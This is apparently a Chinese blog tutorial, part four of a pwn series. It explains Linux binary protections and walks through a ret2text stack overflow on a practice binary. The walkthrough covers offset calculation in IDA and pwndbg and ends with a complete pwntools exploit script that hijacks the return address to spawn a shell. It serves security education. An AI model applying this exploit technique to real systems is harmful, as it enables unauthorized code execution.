PWN! PWN! PANG! Part4
必须有的前言
从Part4开始我们就要正式进入实战部分了哦qaq,
本篇文章主要讲述最最简单的一种栈溢出利用姿势ret2text
资料投放>__<
P.S. 这里安利一下OneDrive云盘优秀的分享功能,速度快且可以脱离客户端
补充知识点:Linux程序安全保护机制
ASLR: 地址随机化技术
-
全名: Address Space Layout Randomization
-
系统的保护措施, 和程序没有关系, 一般默认目标机器随机化完全开启
-
每次运行程序时,组件(包括堆栈,堆和库)都将移至虚拟内存中的其他地址。 攻击者无法通过反复试验来了解目标所在,因为每次的地址都会不同。
-
可以通过
cat /proc/sys/kernel/randomize_va_space
查看系统保护的开启情况
ASLR选项:
0 关闭
1 半随机 共享库 栈 mmap()分配的堆空间以及VDSO将被随机化
2 全随机 brk()分配的堆空间也被虚拟化
PIE: 随机化ELF文件映射地址
好饿,想吃馅饼了 雾)
-
全名: Position-Independent Executable
-
程序的防护措施,编译时生效
检测程序防护措施的方法:PWNTools的checksec模块
详细使用技巧见下文
- 开启 ASLR 之后,PIE 才会生效
The NX bits(NX): 栈不可执行
栈为什么要不可执行呢?
小问号你是否有很多小朋友???从前面的知识中可以了解到,攻击者可以通过栈溢出劫持程序执行流,强迫程序执行制定地址的内容
而如果恰好攻击者在栈中写入了shellcode(指执行后可以直接拿到shell的代码),就可以通过直接执行栈中写入的shellcode来getshell
所以,为了防范攻击者这么轻易就能做坏事= = The NX bits就诞生了
-
全名: the No-eXecute bits
-
程序与操作系统的防护措施,编译时决定是否生效(也就意味着可以通过checksec查看),由操作系统实现
-
实现: 通过在内存页的标识中增加“执行”位, 可以表示该内存页是否可以执行, 若程序代码的 EIP 执行至不可运行的内存页, 则 CPU 将直接拒绝执行“指令”造成程序崩溃
Canary (金丝雀) : 专门针对栈溢出的防护
-
程序的防护措施,编译时生效
-
基本上Canary开启我们就不采用栈溢出的思路
-
实现:在刚进入函数时,在栈上放置一个标志canary,在函数返回时检测其是否被改变。以达到防护栈溢出的目的
-
canary长度为1字长,其位置不一定与ebp/rbp存储的位置相邻,具体得看程序的汇编操作
RELRO: 重定位信息不可写
-
全名: RELocate Read-Only
-
程序的防护措施,编译时生效
-
分为关闭RELRO,部分RELRO(目前是gcc默认), 完全RELRO
-
在本系列文章中不讲解,如果有兴趣可以去看这篇文章
PWN? PWN! PANG!
前期准备
-
下载好所需文件(IDA, 目标程序ret2text)
-
在ret2text相同目录下打开终端
-
准备好一个Windows系统
-
确保ret2text文件可以执行
ll
chmod +x ret2text
查看保护开启情况
checksec ret2text
至于checksec用法嘛= = checksec 文件名
结果
[*] '/home/kali/Sec/PWN/Stack/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看见这是一个32位程序,开启了NX
反汇编分析
因为IDA是win平台的,所以我们就得先请出一只无辜的Windows
将ret2text拖到 ida.exe
上打开
如果是64位程序,则选择
ida64.exe
同意使用协议
选择第一个(默认配置)然后ok
双击左栏main进入主函数
TIP: 如你界面和我不相同请按空格键切换
汇编看着太难受了? 按下F5即可看到c代码
Tip: 别忘了Fn键哦.qaq
思路分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("Have you heard of buffer overflow?");
vulnerable();
puts("It seems that you know nothing about it ......");
return 0;
}
我们看到它调用了一个vulnerable函数 (这也太明显了吧 = = )
查看那个 欠揍的函数 代码,可以看见明显的一个漏洞
int vulnerable()
{
char buffer[8]; // [esp+8h] [ebp-10h] BYREF
gets(buffer);
return 0;
}
它使用gets()
读入局部变量buffer[8]
,由于gets()
不检查输入长度,所以就可以读入过长数据造成栈溢出
仔细观察左侧函数列表,get_shell()
引起了我们的注意
int get_shell()
{
system("/bin/sh");
return 0;
}
好家伙,直接双手呈上shell= =,
这看起来是某个程序员为了方便自己 奇奇怪怪的意图 调试程序干的<好>事, 在程序了直接留下一个后门
现在我们的思路应该很清晰了,就是通过栈溢出篡改函数返回地址,劫持程序执行流,让其调用get_shell()
精心构造恶意数据
既然要溢出,那么我们要溢出多少才可以呢?
观察上面的图片,我们可以发现,我们首先要用垃圾数据把局部变量空间(因具体情况而定)和prev ebp
的空间(32位4字节.64位8字节)填满,然后再加上get_shell()
的地址覆盖返回地址
计算所需垃圾数据长度方法
- 通过IDA的注释获取(不一定准确)
在IDA对于受害者函数的反编译代码中,有这样一句
char buffer[8]; // [esp+8h] [ebp-10h] BYREF
可以看到buffer[8]距离prev ebp
有16字节的距离,由于我们还需填充prev ebp
,我们还要填充4字节的垃圾数据,一共20字节垃圾数据
- 通过pwndbg动态调试
gdb ret2text
由于我们要溢出的地方在函数vulnerable()
,我们直接在那个地方打断点
b vulnerable
现在开始调试该程序
r
一直下一步直到输入(虽说本次只需要一次)
n
输入8个A测试一下
输入stack 大小(这个大小随意,最好大一些) 查看栈的情况
stack 40
结果
pwndbg> stack 40
00:0000│ esp 0xffffd070 ◂— 0x1
01:0004│ 0xffffd074 —▸ 0x80483e0 (_start) ◂— xor ebp, ebp
02:0008│ eax 0xffffd078 ◂— 'AAAAAAAA'
03:000c│ 0xffffd07c ◂— 'AAAA'
04:0010│ 0xffffd080 —▸ 0x8048600 (__libc_csu_init+32) ◂— dec dword ptr [ebp - 0xfb7d]
05:0014│ 0xffffd084 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
06:0018│ ebp 0xffffd088 —▸ 0xffffd098 ◂— 0x0
07:001c│ 0xffffd08c —▸ 0x80485ae (main+93) ◂— sub esp, 0xc
08:0020│ 0xffffd090 —▸ 0xffffd0b0 ◂— 0x1
09:0024│ 0xffffd094 ◂— 0x0
0a:0028│ 0xffffd098 ◂— 0x0
0b:002c│ 0xffffd09c —▸ 0xf7dd9905 (__libc_start_main+229) ◂— add esp, 0x10
0c:0030│ 0xffffd0a0 ◂— 0x1
可以看到A们在地址0xffffd078
,而prev ebp
的地址是0xffffd088
Tip: 0x表示16进制
为什么计算机中的东西是用二进制表示的,这里显示16进制呢?
那是因为二进制串实在太长了,不方便查看(0b11111111111111111101000001111000) = =
由于前面一长串f都是一样的,我们只需要计算 0x88-0x78+0x4
就可以了(加上0x4是因为要填充 prev ebp
再来个Tip: 每种地址都有一定特点
比如说: 栈里的地址都很大,一边都是0xffff…
所以共填充20字节垃圾数据
获取get_shell()
地址
- 从IDA里找
点击左侧函数列表里的函数,然后复制右侧窗口里的那个值
Tip: IDA是个懒家伙,那个值默认是16进制,但它没有加上前缀0x, 使用这个值的时候自行加上
- 利用PWNTools
别忘了python导入模块
┌──(kira㉿kali)-[~/Sec/PWN/Stack]
└─$ python
Python 3.9.10 (main, Jan 16 2022, 17:12:18)
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
加载该ELF文件信息
elf=ELF("ret2text")
寻找get_shell()
函数地址
get_shell = elf.symbols["get_shell"]
现在,get_shell变量就保存着get_shell()
函数地址了
Exploit!
呼~终于到了攻击的时候
攻击前,先运行程序试一试
./ret2text
输入可以随便写点什么(我这里写一个A)
┌──(kira㉿kali)-[~/Sec/PWN/Stack]
└─$ ./ret2text
Have you heard of buffer overflow?
A
It seems that you know nothing about it ......
嘛。。这小程序说我们不会缓冲区溢出。。现在就证明给它看我们会!(
先建一个攻击脚本
vi exp_ret2text.py
第一件事情嘛= =,当然是导入pwntools模块
from pwn import *
然后就是基本操作
io = process("./ret2text")
io.recvline()
构造payload(要输入的东西,也就是垃圾数据和我们想要程序返回的地址)
如果你用IDA取地址(不建议)
payload = b'A'*20 + p32(0x08048522)
如果你用pwntools取地址(你可以直接在编写脚本的时候取地址)
elf=ELF("ret2text")
get_shell = elf.symbol["get_shell"]
payload = b'A'*20 + p32(get_shell)
最后,把恶意数据喂给程序 唔哈哈哈哈;)
就能尽情享用得到的shell了
io.sendline(payload)
io.interactive()
运行攻击脚本
python3 exp_ret2text.py
过程展示
┌──(kira㉿kali)-[~/Sec/PWN/Stack]
└─$ python3 exp_ret2text.py
[+] Starting local process './ret2text': pid 897972
[*] '/home/kali/Sec/PWN/Stack/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ ls
exp_ret2text.py pwndbg ret2libc1 ret2libc2 ret2text
$ whoami
kira
EXP
from pwn import *
# 运行这个本地程序
io = process("./ret2text")
# 接收输出
io.recvline()
# payload = b'A'*20 + p32(0x08048522)
# 不建议使用IDA去获得地址,因为嘛= =还是尽可能用代码操作
elf=ELF("ret2text") # 读取文件的信息
get_shell = elf.symbols["get_shell"] # 搜索"符号"get_shell
payload = b'A'*20 + p32(get_shell)
io.sendline(payload) #投喂数据(虽说是恶意数据)
io.interactive() #切换到交互模式
Ref
https://blog.csdn.net/weixin_43833642/article/details/104175028
https://blog.csdn.net/weixin_44932880/article/details/104092620
二进制漏洞挖掘之栈溢出-开启RELRO_ylcangel的专栏-CSDN博客_partial relro
To Be Continued .qaq.